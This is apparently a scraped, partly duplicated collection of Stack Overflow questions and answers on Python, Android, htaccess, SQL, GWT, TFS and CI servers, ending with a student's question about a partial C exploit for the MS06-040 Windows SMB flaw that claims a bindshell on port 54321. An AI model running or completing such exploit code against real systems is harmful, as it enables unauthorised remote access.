Trying  1.06 ...
1.12
Trying  1.05 ...
1.1
Trying  1.04 ...
1.08
Trying  1.03 ...
1.06
Trying  1.02 ...
1.04
Trying  1.01 ...
1.02
Trying  1.0 ...
1.0
Trying  0.99 ...
0.98
Trying  0.98 ...
0.96
Trying  0.97 ...
0.94
Trying  0.96 ...
0.92
Trying  0.95 ...
0.9
Trying  0.94 ...
0.88
Trying  0.93 ...
0.86
Trying  0.92 ...
0.85
Trying  0.91 ...
0.83
</code>```

The number under "Trying" is calc and the number after "Trying" is guess.

答:
I am not fully sure of what you are asking but the following function uses an exhaustive approximation solution. It does the following:

start with exhaustive enumeration

take small steps to generate guesses

check to see if you are close enough

```<code>def squareRootExhaustive(x, epsilon):
 """Assumes x and epsilon are positive floats & epsilon < 1."""

    # x = number for which to calculate the square root
    # epsilon = how close you want to get to the answer

    increment = epsilon**2 # Number of steps it will take to find a good enough approximation

    guess = 0.0 # start the answer at 0

    # while the difference between guess ^ 2 and the num 'x', for which
    # we are trying to find the square root of, is greater or equals epsilon
    # and guess * guess is less or equals x, increment the answer
    while abs(guess**2 - x) >= epsilon and guess*guess <= x:
        # print(ans)to check the number of exhaustive guesses it generates
        # before returning the most accurate answer
        guess += increment
        if guess*guess > x:
           raise ValueError
    return "{} is the sqaure root of {}".format(round(guess, 2), x)

squareRootExhaustive(3, 0.01)
</code>```

Lower values of epsilon will give more accurate answers but will slow the program. Larger values will give faster answers but they will be less accurate.

This algorithm will have complexity issues. That is why bisection algorithm is better.

Title: Python Skips Numbers

Body:
I'm writing a program that's supposed to determine the square root of a number by brute force. However, certain numbers(same every time).

Here is the code:

toCalc = 3

guess = toCalc
toCalc = round(toCalc, 2)
while 1+1==2:

        print "Trying ", guess, "..."
        calc = guess * guess
        calc = round(calc, 2)
        print calc
        guess = guess - 0.01
        if calc == toCalc:
                break

And here is the output:

Trying  1.22 ...
1.49
Trying  1.21 ...
1.46
Trying  1.2 ...
1.44
Trying  1.19 ...
1.42
Trying  1.18 ...
1.39
Trying  1.17 ...
1.37
Trying  1.16 ...
1.35
Trying  1.15 ...
1.32
Trying  1.14 ...
1.3
Trying  1.13 ...
1.28
Trying  1.12 ...
1.25
Trying  1.11 ...
1.23
Trying  1.1 ...
1.21
Trying  1.09 ...
1.19
Trying  1.08 ...
1.17
Trying  1.07 ...
1.14
Trying  1.06 ...
1.12
Trying  1.05 ...
1.1
Trying  1.04 ...
1.08
Trying  1.03 ...
1.06
Trying  1.02 ...
1.04
Trying  1.01 ...
1.02
Trying  1.0 ...
1.0
Trying  0.99 ...
0.98
Trying  0.98 ...
0.96
Trying  0.97 ...
0.94
Trying  0.96 ...
0.92
Trying  0.95 ...
0.9
Trying  0.94 ...
0.88
Trying  0.93 ...
0.86
Trying  0.92 ...
0.85
Trying  0.91 ...
0.83

The number under "Trying" is calc and the number after "Trying" is guess.

Body:
I am not fully sure of what you are asking but the following function uses an exhaustive approximation solution. It does the following:

start with exhaustive enumeration

take small steps to generate guesses

check to see if you are close enough

def squareRootExhaustive(x, epsilon):
 """Assumes x and epsilon are positive floats & epsilon < 1."""

    # x = number for which to calculate the square root
    # epsilon = how close you want to get to the answer

    increment = epsilon**2 # Number of steps it will take to find a good enough approximation

    guess = 0.0 # start the answer at 0

    # while the difference between guess ^ 2 and the num 'x', for which
    # we are trying to find the square root of, is greater or equals epsilon
    # and guess * guess is less or equals x, increment the answer
    while abs(guess**2 - x) >= epsilon and guess*guess <= x:
        # print(ans)to check the number of exhaustive guesses it generates
        # before returning the most accurate answer
        guess += increment
        if guess*guess > x:
           raise ValueError
    return "{} is the sqaure root of {}".format(round(guess, 2), x)

squareRootExhaustive(3, 0.01)

Lower values of epsilon will give more accurate answers but will slow the program. Larger values will give faster answers but they will be less accurate.

This algorithm will have complexity issues. That is why bisection algorithm is better.


问:
Android create custom IM type
In my android application I want to create a custom type of IM that should be editable via standard contacts editing application. There are several built-it IMs that user can select from: Aim, Windows Live, Yahoo, etc. I want to add "My Very Best IM" to the list, so that user can pick it quickly without the need to enter the "custom" text and value by hand. Any ideas on how to do this?</p>

答:
You cannot add this functionality to the inbuilt contacts app.

In other words, you cannot tell that this app should show up in that list.

Title: Android create custom IM type


问:
Uploading Separate APKs for ARM-v7 and x86 to Google Play
I have made an Android game in Unity3D. I have published the game on Google Play.

The APK I'm currently serving is for both ARM-v7 and x86 native platforms. I want to upload a separate APK file for each to make them take up less storage space. The APK with both platforms is 27MB and the separate APKs are each around 19MB. The installed sizes are 56MB and 43MB, respectively. That's a significant difference.
The only information on this I have found relates to the APK tab in Google Play Developer Console, which is now deprecated.
Also, I have tried to upload separate APK files under the same version code and I got an error saying that two APKs can't have the same version code.
And when I tried to upload them under different version codes I got an error saying that the lower version APK is fully shadowed by the newer version.

How can I upload separate APK files for different native platforms?

Thank you for your help.

答:
I tried to upload them under different version codes

Different version codes indicates different version but only in terms "newer" or "older".

How can I upload separate APK files for different native platforms?

There's Multiple APK Support feature:

By publishing your application with multiple APKs, you can:

Support different OpenGL texture compression formats with each APK.

Support different screen sizes and densities with each APK.

Support different device feature sets with each APK.

Support different platform versions with each APK.

Support different CPU architectures with each APK (such as for ARM, x86, and MIPS, when your app uses the Android NDK).

https://developer.android.com/google/play/publishing/multiple-apks.html


问:
Not able to track htaccess issue, How to implement IF ELSE in htaccess
I have a problem with htaccess to execute a rule and if rule matches then do not check for another rule. which i am trying to figure out from last few hours. Below is the sample code

```<code><IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} ^/projectname/$
   #RewriteCond %{REQUEST_URI}  !projectname/(storage)$
   RewriteRule ^(.*)$ /projectname/abc/dist/$1 [L]
   RewriteCond %{REQUEST_FILENAME} !-d
   RewriteCond %{REQUEST_FILENAME} !-f

   RewriteCond %{REQUEST_URI}  projectname/(storage)$
   RewriteRule ^(.*)$ /projectname/storage/$1 [L]

   Rewritecond %{REQUEST_URI} projectname/(.*)$
   #RewriteCond %{REQUEST_URI}  !projectname/(storage)$ [NC]
   RewriteCond %{REQUEST_URI}  !\.(html?|png|woff|ttf|eot|svg|woff2|jpg|gif|xml|rss|png|css|js|json)$ [NC]
   RewriteRule ^(.*)$ /projectname/#/$1 [NE,R=301,L]
   RewriteRule ^(.*)$ /projectname/abc/dist/$1 [L]
</code>```

I want to load everything from projectname/abc/dist folder but not for the case when i have storage inside url then i want to load the data from storage folder only.
So as per rules defined here everything works fine but when i have storage inside url/src for image it still checks /projectname/abc/dist/storage/xxxx.png instead of checking  /projectname/storage/xxxx.png as defined in htaccess rule.

I have tried using [S=5] skip with storage rule in htaccess does not works from reference http://httpd.apache.org/docs/2.4/rewrite/flags.html.

Also as per my understanding [L] is the last so it should stop the htaccess after storage rule but it does not.

I have tried implementing IF ELSE in htaccess but the examples i tried for IF ELSE does not help even.
reference https://blogs.apache.org/httpd/entry/new_in_httpd_2_4
reference http://httpd.apache.org/docs/2.4/rewrite/flags.html (check Skip IF ELSE stanza)

Any Idea would be useful.

答:
You want to load from 'projectname/abc/dist'-folder EXCEPT when there is 'storage' anywhere in the requested URI?! If I got that right, that might help:

```<code>RewriteEngine On
RewriteBase /

RewriteCond %{REQUEST_URI} !storage
RewriteRule ^(.*)$ /projectname/abc/dist/$1 [END,P]
</code>```

I added [P] for 'proxy' assuming that you don't want to show the customer he is rewritten by your server. If you don't mind seeing them, just leave that out.

Body:
I have a problem with htaccess to execute a rule and if rule matches then do not check for another rule. which i am trying to figure out from last few hours. Below is the sample code

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} ^/projectname/$
   #RewriteCond %{REQUEST_URI}  !projectname/(storage)$
   RewriteRule ^(.*)$ /projectname/abc/dist/$1 [L]
   RewriteCond %{REQUEST_FILENAME} !-d
   RewriteCond %{REQUEST_FILENAME} !-f

   RewriteCond %{REQUEST_URI}  projectname/(storage)$
   RewriteRule ^(.*)$ /projectname/storage/$1 [L]

   Rewritecond %{REQUEST_URI} projectname/(.*)$
   #RewriteCond %{REQUEST_URI}  !projectname/(storage)$ [NC]
   RewriteCond %{REQUEST_URI}  !\.(html?|png|woff|ttf|eot|svg|woff2|jpg|gif|xml|rss|png|css|js|json)$ [NC]
   RewriteRule ^(.*)$ /projectname/#/$1 [NE,R=301,L]
   RewriteRule ^(.*)$ /projectname/abc/dist/$1 [L]

I want to load everything from projectname/abc/dist folder but not for the case when i have storage inside url then i want to load the data from storage folder only.
So as per rules defined here everything works fine but when i have storage inside url/src for image it still checks /projectname/abc/dist/storage/xxxx.png instead of checking  /projectname/storage/xxxx.png as defined in htaccess rule.

I have tried using [S=5] skip with storage rule in htaccess does not works from reference http://httpd.apache.org/docs/2.4/rewrite/flags.html.

Also as per my understanding [L] is the last so it should stop the htaccess after storage rule but it does not.

I have tried implementing IF ELSE in htaccess but the examples i tried for IF ELSE does not help even.
reference https://blogs.apache.org/httpd/entry/new_in_httpd_2_4
reference http://httpd.apache.org/docs/2.4/rewrite/flags.html (check Skip IF ELSE stanza)

Any Idea would be useful.

Body:
You want to load from 'projectname/abc/dist'-folder EXCEPT when there is 'storage' anywhere in the requested URI?! If I got that right, that might help:

RewriteEngine On
RewriteBase /

RewriteCond %{REQUEST_URI} !storage
RewriteRule ^(.*)$ /projectname/abc/dist/$1 [END,P]

I added [P] for 'proxy' assuming that you don't want to show the customer he is rewritten by your server. If you don't mind seeing them, just leave that out.


问:
SQL query is very slow
I have a query that is updating views and likes for posts for the last 24 hours, but it is very slow. For around 3000 posts it takes more than 15 seconds to complete, which is a big problem since other queries can't be executed during that period.

```<code>$update_query = mysqli_query($database, "UPDATE post SET
                likes_last_day = (SELECT COUNT(post_like_id) FROM post_like WHERE post.post_id = post_like.post_id AND post_like.date > ('$current_date' - INTERVAL 1 DAY)),
                views_last_day = (SELECT COUNT(post_view_id) FROM post_view WHERE post.post_id = post_view.post_id AND post_view.date > ('$current_date' - INTERVAL 1 DAY))");
</code>```

Is there a way to optimize this query to execute faster?

答:
This is your query:

```<code>UPDATE post p
    SET likes_last_day = (SELECT COUNT(*) FROM post_like l WHERE p.post_id = l.post_id AND l.date > ('$current_date' - INTERVAL 1 DAY)),
        views_last_day = (SELECT COUNT(*) FROM post_view v WHERE p.post_id = v.post_id AND v.date > ('$current_date' - INTERVAL 1 DAY));
</code>```

You are updating 3000 rows, using subqueries.  That is going to take a bit of time.  To speed the query, you can use indexes:  post_like(post_id, date) and post_view(post_id, date).

You could also rewrite the query to do the aggregations before joining the results in.  However, I suspect that the correlated subqueries might actually be faster with the right indexes.

Title: SQL query is very slow

Body:
I have a query that is updating views and likes for posts for the last 24 hours, but it is very slow. For around 3000 posts it takes more than 15 seconds to complete, which is a big problem since other queries can't be executed during that period.

$update_query = mysqli_query($database, "UPDATE post SET
                likes_last_day = (SELECT COUNT(post_like_id) FROM post_like WHERE post.post_id = post_like.post_id AND post_like.date > ('$current_date' - INTERVAL 1 DAY)),
                views_last_day = (SELECT COUNT(post_view_id) FROM post_view WHERE post.post_id = post_view.post_id AND post_view.date > ('$current_date' - INTERVAL 1 DAY))");

Is there a way to optimize this query to execute faster?

Body:
This is your query:

UPDATE post p
    SET likes_last_day = (SELECT COUNT(*) FROM post_like l WHERE p.post_id = l.post_id AND l.date > ('$current_date' - INTERVAL 1 DAY)),
        views_last_day = (SELECT COUNT(*) FROM post_view v WHERE p.post_id = v.post_id AND v.date > ('$current_date' - INTERVAL 1 DAY));

You are updating 3000 rows, using subqueries.  That is going to take a bit of time.  To speed the query, you can use indexes:  post_like(post_id, date) and post_view(post_id, date).

You could also rewrite the query to do the aggregations before joining the results in.  However, I suspect that the correlated subqueries might actually be faster with the right indexes.


问:
How to add scrollbar to celltable
i have small problem i.e. their is one celltable with lot of data it is placed in popup so the popup height is very large so my problem is i want to add a scrollbar to my celltable so the popup height reduced
                    please help me anyone....

note:-i will try set height for table and popup but their is no result & i am write code in java & gwt

答:
Maybe you can use table.setPageSize method to create paging for lots of data.

Or as you want to create scroll with celltable. You can put celltable in a verticalPane and set vertical pane scrollable. Or use scrollpanel to put celltable.

Title: How to add scrollbar to celltable


问:
Android - How to set visibility in xml depending on device?
I have a TextView in my activity that should be visible normally, but gone for tablet devices.

I know I can create a new layout file for the tablet, but that seems like a lot of duplication, so what I am trying to do is set in my (single) layout file something like...

android:visibility="@string/my_textview_visibility"

...for the TextView. And then, in my strings resources files, set...

<string name="my_textview_visibility">gone</string> (in values/strings.xml)

...and...

<string name="my_textview_visibility">visible</string> (in values-sw720dp/strings.xml)

...to hide the TextView for tablets.

However, when I try this, the app crashes when trying to show that activity.

Do I need to use the constant values instead of the above string values - e.g.,

"visible" -> 0

"gone" -> 8

..and, if so, what is the correct way to add/reference those values to/from my XML files?

Or is there another/better way of doing it?

NB - I do not want to show/hide the TextView programatically in my Java code.

答:
You should be using /values/integers/ instead:

values/integers.xml

```<code><integer name="my_textview_visibility">0</integer> <!-- 0 = View.VISIBLE -->
</code>```

values-sw720dp/integers.xml

```<code><integer name="my_textview_visibility">2</integer> <!-- 2 = View.GONE -->
</code>```

Then called like so:

```<code>android:visibility="@integer/my_textview_visibility"
</code>```

Body:
You should be using /values/integers/ instead:

values/integers.xml

<integer name="my_textview_visibility">0</integer> <!-- 0 = View.VISIBLE -->

values-sw720dp/integers.xml

<integer name="my_textview_visibility">2</integer> <!-- 2 = View.GONE -->

Then called like so:

android:visibility="@integer/my_textview_visibility"


答:
As you said, the best way to do this is to create a specific layout for tablets where your TextView will be hidden. However, it is possible to do this using xml boolean resources : (as res/values-sw600dp/):

```<code><resources>
    <bool name="isTablet">true</bool>
</resources>
</code>```

Because the sw600dp qualifier is only valid for platforms above android 3.2. If you want to make sure this technique works on all platforms (before 3.2), create the same file in res/values-xlarge folder:

```<code><resources>
    <bool name="isTablet">true</bool>
</resources>
</code>```

Then, in the "standard" value file (as res/values/), you set the boolean to false:

```<code><resources>
    <bool name="isTablet">false</bool>
</resources>
</code>```

Then in you activity, you can get this value and check if you are running in a tablet size device:

```<code>boolean tabletSize = getResources().getBoolean(R.bool.isTablet);
if (tabletSize) {
    // do something
} else {
    // do something else
}
</code>```

Font : Determine if the device is a smartphone or tablet?

Title: Android - How to set visibility in xml depending on device?

Body:
I have a TextView in my activity that should be visible normally, but gone for tablet devices.

I know I can create a new layout file for the tablet, but that seems like a lot of duplication, so what I am trying to do is set in my (single) layout file something like...

android:visibility="@string/my_textview_visibility"

...for the TextView. And then, in my strings resources files, set...

<string name="my_textview_visibility">gone</string> (in values/strings.xml)

...and...

<string name="my_textview_visibility">visible</string> (in values-sw720dp/strings.xml)

...to hide the TextView for tablets.

However, when I try this, the app crashes when trying to show that activity.

Do I need to use the constant values instead of the above string values - e.g.,

"visible" -> 0

"gone" -> 8

..and, if so, what is the correct way to add/reference those values to/from my XML files?

Or is there another/better way of doing it?

NB - I do not want to show/hide the TextView programatically in my Java code.

Body:
As you said, the best way to do this is to create a specific layout for tablets where your TextView will be hidden. However, it is possible to do this using xml boolean resources : (as res/values-sw600dp/):

<resources>
    <bool name="isTablet">true</bool>
</resources>

Because the sw600dp qualifier is only valid for platforms above android 3.2. If you want to make sure this technique works on all platforms (before 3.2), create the same file in res/values-xlarge folder:

<resources>
    <bool name="isTablet">true</bool>
</resources>

Then, in the "standard" value file (as res/values/), you set the boolean to false:

<resources>
    <bool name="isTablet">false</bool>
</resources>

Then in you activity, you can get this value and check if you are running in a tablet size device:

boolean tabletSize = getResources().getBoolean(R.bool.isTablet);
if (tabletSize) {
    // do something
} else {
    // do something else
}

Font : Determine if the device is a smartphone or tablet?


问:
Configuring TFS to show diff for the office files
How can i configure TFS (maybe there is a setting or extension) to show diff between office openxml files (like .xlsx or docx). Now the TFS (online) just shows yellow banner like one below. I want to have side-by-side diff.

答:
If such an extension exists, you will find it on the VSTS Marketplace, but unfortunately none produced a smart binary file differ like WinMerge or Beyond Compare.

The OpenXML format is a Zip containing many XML files, a text compare is useless. Your options are:

download the two versions and use Office (yes it has built-in diff for docs) or a tool like Beyond Compare (it may requires some plugin)

move to text based formats like CSV or Markdown


问:
Light-weight Continuous Integration Server for .NET
I want to set up a CI server for a personal project I'm doing with some colleagues as a learning exercise.

I've a virtual server we can use for the CI server but its rather low on resources (CPU/RAM and HDD).

Which .NET CI solution has the smallest footprint (I'm thinking Hudson)? I've seen plenty of threads comparing them, but nothing really on the resource usage.

答: Both are small enough to use on a contrained VM. The biggest consumer of resources is the actual compile of your projects, and the build artifacts they create. These are independent of the CI server you're using.</p>


答:
In python 3, comparison operations are stricter for the built in data types.

```<code>>>> min([123, 'xyz', 'zara', 'abc'])
TypeError: unorderable types: str() < int()
</code>```

min() tries to compare 'xyz' < 123 which was possible in python 2, but not in python 3.

If you want to get the smallest member of a list, use min(list), not list.min().

This should work, for instance:

```<code>plt.plot([min(y), max(y)], [min(x), max(x)], color='blue', linewidth=3)
</code>```

Title: Python 3.5 'list' object has no attribute 'min' and unorderable types: str() < int() and

Body:
In python 3, comparison operations are stricter for the built in data types.

>>> min([123, 'xyz', 'zara', 'abc'])
TypeError: unorderable types: str() < int()

min() tries to compare 'xyz' < 123 which was possible in python 2, but not in python 3.

If you want to get the smallest member of a list, use min(list), not list.min().

This should work, for instance:

plt.plot([min(y), max(y)], [min(x), max(x)], color='blue', linewidth=3)


问:
Buffer-Overflow exploit code
```<code>  [Buffer - overflow exploit code][1]
</code>```

Hi so i'm doing an exploit on the windows 2000 server as part of an assignment and needed a little help. I've attached a screenshot of the exploit code thats in the c document but i dont really understand what this code does and was wondering if someone would explain to me what exactly this hard code does that in the exploit. So far i know that this code provides me with a remote bind shell at port 54321.

```<code>char peer0_14[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c,
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02,
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c,
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00,
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00,
0x00, 0x00 };

int main(int argc,char **argv)
{

int fd;
int con;
int repbf[20000];

struct sockaddr_in target;

if(argc < 2)
{

printf("Microsoft Windows CanonicalizePathName() Remote Exploit (MS06-040)\n");
printf("Tested on WindowsXP SP1 EN and got a bindshell on port 54321\n");
printf("Win2k should give a crash in services.exe\n");
printf("I've used the default smbdomain: WORKGROUP\n\n");
printf("Usage: %s <ip>\n",argv[0]);
printf("Example: %s 192.168.1.103\n\n",argv[0]);
printf("Written by: Preddy\n");
printf("RootShell Security Group\n");
printf("www.team-rootshell.com\n");

exit(1);

}

fd = socket(AF_INET,SOCK_STREAM,0);

if(fd < 0)
{

perror("Could not create socket\n");
exit(1);
}

printf("Target: %s\n",argv[1]);

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(PORT);

con = connect(fd,(struct sockaddr_in *)&target,sizeof(target));

if(con < 0)
{

printf("Could not connect\n");
exit(1);
}
</code>```

this is the exploit code
thanks

答:
Since the code you pasted is not a full exploit code and the all datas are in array form, it is hard to understand how the exploit works.

I suggests you to look at below links

https://www.rapid7.com/db/modules/exploit/windows/smb/ms06_040_netapi
https://vulners.com/exploitdb/EDB-ID:2162

i didn't reverse engineered it but it seems to use jmp esp tricks and uses a fixed address for this gadget. maybe i think you should change some offset to fit your os version.

for XP version following line is key for exploit.

my $path =     $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";

Title: Buffer-Overflow exploit code

Body:
  [Buffer - overflow exploit code][1]

Hi so i'm doing an exploit on the windows 2000 server as part of an assignment and needed a little help. I've attached a screenshot of the exploit code thats in the c document but i dont really understand what this code does and was wondering if someone would explain to me what exactly this hard code does that in the exploit. So far i know that this code provides me with a remote bind shell at port 54321.

char peer0_14[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d,
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c,
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02,
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c,
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00,
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00,
0x00, 0x00 };

int main(int argc,char **argv)
{

int fd;
int con;
int repbf[20000];

struct sockaddr_in target;

if(argc < 2)
{

printf("Microsoft Windows CanonicalizePathName() Remote Exploit (MS06-040)\n");
printf("Tested on WindowsXP SP1 EN and got a bindshell on port 54321\n");
printf("Win2k should give a crash in services.exe\n");
printf("I've used the default smbdomain: WORKGROUP\n\n");
printf("Usage: %s <ip>\n",argv[0]);
printf("Example: %s 192.168.1.103\n\n",argv[0]);
printf("Written by: Preddy\n");
printf("RootShell Security Group\n");
printf("www.team-rootshell.com\n");

exit(1);

}

fd = socket(AF_INET,SOCK_STREAM,0);

if(fd < 0)
{

perror("Could not create socket\n");
exit(1);
}

printf("Target: %s\n",argv[1]);

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(PORT);

con = connect(fd,(struct sockaddr_in *)&target,sizeof(target));

if(con < 0)
{

printf("Could not connect\n");
exit(1);
}

this is the exploit code
thanks